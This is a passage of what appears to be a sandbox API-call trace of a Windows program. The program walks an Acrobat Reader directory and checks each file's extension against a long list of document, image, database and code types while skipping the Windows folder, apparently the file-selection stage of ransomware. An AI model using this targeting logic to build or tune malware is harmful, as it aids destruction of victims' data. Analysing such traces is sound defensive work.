lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.070] lstrlenW (lpString=".adp") returned 4 [0265.071] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".ai") returned 3 [0265.071] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.071] lstrlenW (lpString=".ai3") returned 4 [0265.071] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".ai4") returned 4 [0265.071] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".ai5") returned 4 [0265.071] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".ai6") returned 4 [0265.071] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".ai7") returned 4 [0265.071] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".ai8") returned 4 [0265.071] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".anim") returned 5 [0265.071] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.071] lstrlenW (lpString=".arw") returned 4 [0265.071] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".as") returned 3 [0265.071] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.071] lstrlenW (lpString=".asa") returned 4 [0265.071] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.071] lstrlenW (lpString=".asc") returned 4 [0265.071] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.072] lstrlenW (lpString=".ascx") returned 5 [0265.072] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.072] lstrlenW (lpString=".asm") returned 4 [0265.072] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.072] lstrlenW (lpString=".asmx") returned 5 [0265.072] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.072] lstrlenW (lpString=".asp") returned 4 [0265.072] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.072] lstrlenW (lpString=".aspx") returned 5 [0265.072] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.072] lstrlenW (lpString=".asr") returned 4 [0265.072] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.073] lstrlenW (lpString=".asx") returned 4 [0265.073] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.073] lstrlenW (lpString=".avi") returned 4 [0265.073] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.073] lstrlenW (lpString=".avs") returned 4 [0265.073] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".backup") returned 7 [0265.074] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.074] lstrlenW (lpString=".bak") returned 4 [0265.074] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".bay") returned 4 [0265.074] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".bd") returned 3 [0265.074] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.074] lstrlenW (lpString=".bin") returned 4 [0265.074] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".bmp") returned 4 [0265.074] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".bz2") returned 4 [0265.074] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".c") returned 2 [0265.074] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.074] lstrlenW (lpString=".cdr") returned 4 [0265.074] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".cer") returned 4 [0265.074] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".cf") returned 3 [0265.074] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.074] lstrlenW (lpString=".cfc") returned 4 [0265.074] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.074] lstrlenW (lpString=".cfm") returned 4 [0265.074] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".cfml") returned 5 [0265.075] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.075] lstrlenW (lpString=".cfu") returned 4 [0265.075] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".chm") returned 4 [0265.075] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".cin") returned 4 [0265.075] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".class") returned 6 [0265.075] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.075] lstrlenW (lpString=".clx") returned 4 [0265.075] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".config") returned 7 [0265.075] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.075] lstrlenW (lpString=".cpp") returned 4 [0265.075] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".cr2") returned 4 [0265.075] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".crt") returned 4 [0265.075] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".crw") returned 4 [0265.075] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.075] lstrlenW (lpString=".cs") returned 3 [0265.075] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.075] lstrlenW (lpString=".css") returned 4 [0265.076] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.076] lstrlenW (lpString=".csv") returned 4 [0265.076] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.076] lstrlenW (lpString=".cub") returned 4 [0265.076] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.076] lstrlenW (lpString=".dae") returned 4 [0265.076] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.076] lstrlenW (lpString=".dat") returned 4 [0265.076] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.076] lstrlenW (lpString=".db") returned 3 [0265.076] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.076] lstrlenW (lpString=".dbf") returned 4 [0265.076] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.076] lstrlenW (lpString=".dbx") returned 4 [0265.076] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".dc3") returned 4 [0265.077] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".dcm") returned 4 [0265.077] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".dcr") returned 4 [0265.077] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".der") returned 4 [0265.077] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".dib") returned 4 [0265.077] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".dic") returned 4 [0265.077] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".dif") returned 4 [0265.077] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".divx") returned 5 [0265.077] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.077] lstrlenW (lpString=".djvu") returned 5 [0265.077] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.077] lstrlenW (lpString=".dng") returned 4 [0265.077] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.077] lstrlenW (lpString=".doc") returned 4 [0265.078] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.078] lstrlenW (lpString=".docm") returned 5 [0265.078] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.078] lstrlenW (lpString=".docx") returned 5 [0265.078] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.078] lstrlenW (lpString=".dot") returned 4 [0265.078] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.078] lstrlenW (lpString=".dotm") returned 5 [0265.078] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.078] lstrlenW (lpString=".dotx") returned 5 [0265.078] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.078] lstrlenW (lpString=".dpx") returned 4 [0265.078] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.078] lstrlenW (lpString=".dqy") returned 4 [0265.078] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.078] lstrlenW (lpString=".dsn") returned 4 [0265.078] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.078] lstrlenW (lpString=".dt") returned 3 [0265.078] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.079] lstrlenW (lpString=".dtd") returned 4 [0265.079] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".dwg") returned 4 [0265.079] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".dwt") returned 4 [0265.079] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".dx") returned 3 [0265.079] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.079] lstrlenW (lpString=".dxf") returned 4 [0265.079] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".edml") returned 5 [0265.079] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.079] lstrlenW (lpString=".efd") returned 4 [0265.079] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".elf") returned 4 [0265.079] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".emf") returned 4 [0265.079] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".emz") returned 4 [0265.079] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".epf") returned 4 [0265.079] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.079] lstrlenW (lpString=".eps") returned 4 [0265.080] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".epsf") returned 5 [0265.080] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.080] lstrlenW (lpString=".epsp") returned 5 [0265.080] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.080] lstrlenW (lpString=".erf") returned 4 [0265.080] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".exr") returned 4 [0265.080] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".f4v") returned 4 [0265.080] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".fido") returned 5 [0265.080] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0265.080] lstrlenW (lpString=".flm") returned 4 [0265.080] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".flv") returned 4 [0265.080] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".frm") returned 4 [0265.080] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0265.080] lstrlenW (lpString=".fxg") returned 4 [0265.080] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".geo") returned 4 [0265.081] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".gif") returned 4 [0265.081] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".grs") returned 4 [0265.081] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".gz") returned 3 [0265.081] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.081] lstrlenW (lpString=".h") returned 2 [0265.081] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.081] lstrlenW (lpString=".hdr") returned 4 [0265.081] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".hpp") returned 4 [0265.081] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".hta") returned 4 [0265.081] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".htc") returned 4 [0265.081] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".htm") returned 4 [0265.081] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0265.081] lstrlenW (lpString=".html") returned 5 [0265.081] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0265.081] lstrlenW (lpString=".icb") returned 4 [0265.082] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".ics") returned 4 [0265.082] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".iff") returned 4 [0265.082] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".inc") returned 4 [0265.082] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".indd") returned 5 [0265.082] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0265.082] lstrlenW (lpString=".ini") returned 4 [0265.082] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".iqy") returned 4 [0265.082] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".j2c") returned 4 [0265.082] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".j2k") returned 4 [0265.082] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".java") returned 5 [0265.082] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0265.082] lstrlenW (lpString=".jp2") returned 4 [0265.082] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".jpc") returned 4 [0265.082] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".jpe") returned 4 [0265.082] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0265.082] lstrlenW (lpString=".jpeg") returned 5 [0265.083] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0265.083] lstrlenW (lpString=".jpf") returned 4 [0265.083] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0265.083] lstrlenW (lpString=".jpg") returned 4 [0265.083] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0265.083] lstrlenW (lpString=".jpx") returned 4 [0265.083] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0265.083] lstrlenW (lpString=".js") returned 3 [0265.083] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.083] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.083] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0265.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.083] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0265.083] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il") returned 106 [0265.083] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il") returned 1 [0265.083] lstrlenW (lpString="en-il") returned 5 [0265.083] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-il") returned -1 [0265.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.083] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il") returned 106 [0265.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0265.085] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.085] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.085] lstrlenW (lpString="ui-strings.js") returned 13 [0265.085] lstrlenW (lpString=".1cd") returned 4 [0265.085] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.085] lstrlenW (lpString=".3ds") returned 4 [0265.085] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.086] lstrlenW (lpString=".3fr") returned 4 [0265.086] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.086] lstrlenW (lpString=".3g2") returned 4 [0265.086] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.086] lstrlenW (lpString=".3gp") returned 4 [0265.086] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.086] lstrlenW (lpString=".7z") returned 3 [0265.086] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.086] lstrlenW (lpString=".accda") returned 6 [0265.086] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.086] lstrlenW (lpString=".accdb") returned 6 [0265.086] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.086] lstrlenW (lpString=".accdc") returned 6 [0265.086] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.086] lstrlenW (lpString=".accde") returned 6 [0265.086] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.086] lstrlenW (lpString=".accdt") returned 6 [0265.086] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.086] lstrlenW (lpString=".accdw") returned 6 [0265.086] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.086] lstrlenW (lpString=".adb") returned 4 [0265.087] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".adp") returned 4 [0265.087] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".ai") returned 3 [0265.087] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.087] lstrlenW (lpString=".ai3") returned 4 [0265.087] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".ai4") returned 4 [0265.087] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".ai5") returned 4 [0265.087] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".ai6") returned 4 [0265.087] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".ai7") returned 4 [0265.087] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".ai8") returned 4 [0265.087] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".anim") returned 5 [0265.087] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.087] lstrlenW (lpString=".arw") returned 4 [0265.087] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.087] lstrlenW (lpString=".as") returned 3 [0265.087] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.087] lstrlenW (lpString=".asa") returned 4 [0265.087] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.088] lstrlenW (lpString=".asc") returned 4 [0265.088] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.088] lstrlenW (lpString=".ascx") returned 5 [0265.088] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.088] lstrlenW (lpString=".asm") returned 4 [0265.088] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.088] lstrlenW (lpString=".asmx") returned 5 [0265.088] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.088] lstrlenW (lpString=".asp") returned 4 [0265.088] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.088] lstrlenW (lpString=".aspx") returned 5 [0265.088] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.088] lstrlenW (lpString=".asr") returned 4 [0265.088] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.088] lstrlenW (lpString=".asx") returned 4 [0265.088] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.088] lstrlenW (lpString=".avi") returned 4 [0265.089] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".avs") returned 4 [0265.089] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".backup") returned 7 [0265.089] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.089] lstrlenW (lpString=".bak") returned 4 [0265.089] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".bay") returned 4 [0265.089] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".bd") returned 3 [0265.089] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.089] lstrlenW (lpString=".bin") returned 4 [0265.089] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".bmp") returned 4 [0265.089] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".bz2") returned 4 [0265.089] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".c") returned 2 [0265.089] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.089] lstrlenW (lpString=".cdr") returned 4 [0265.089] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".cer") returned 4 [0265.089] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.089] lstrlenW (lpString=".cf") returned 3 [0265.089] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.090] lstrlenW (lpString=".cfc") returned 4 [0265.090] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".cfm") returned 4 [0265.090] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".cfml") returned 5 [0265.090] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.090] lstrlenW (lpString=".cfu") returned 4 [0265.090] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".chm") returned 4 [0265.090] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".cin") returned 4 [0265.090] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".class") returned 6 [0265.090] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.090] lstrlenW (lpString=".clx") returned 4 [0265.090] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".config") returned 7 [0265.090] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.090] lstrlenW (lpString=".cpp") returned 4 [0265.090] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.090] lstrlenW (lpString=".cr2") returned 4 [0265.090] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".crt") returned 4 [0265.091] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".crw") returned 4 [0265.091] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".cs") returned 3 [0265.091] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.091] lstrlenW (lpString=".css") returned 4 [0265.091] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".csv") returned 4 [0265.091] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".cub") returned 4 [0265.091] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".dae") returned 4 [0265.091] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".dat") returned 4 [0265.091] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".db") returned 3 [0265.091] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.091] lstrlenW (lpString=".dbf") returned 4 [0265.091] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".dbx") returned 4 [0265.091] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.091] lstrlenW (lpString=".dc3") returned 4 [0265.091] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".dcm") returned 4 [0265.092] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".dcr") returned 4 [0265.092] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned 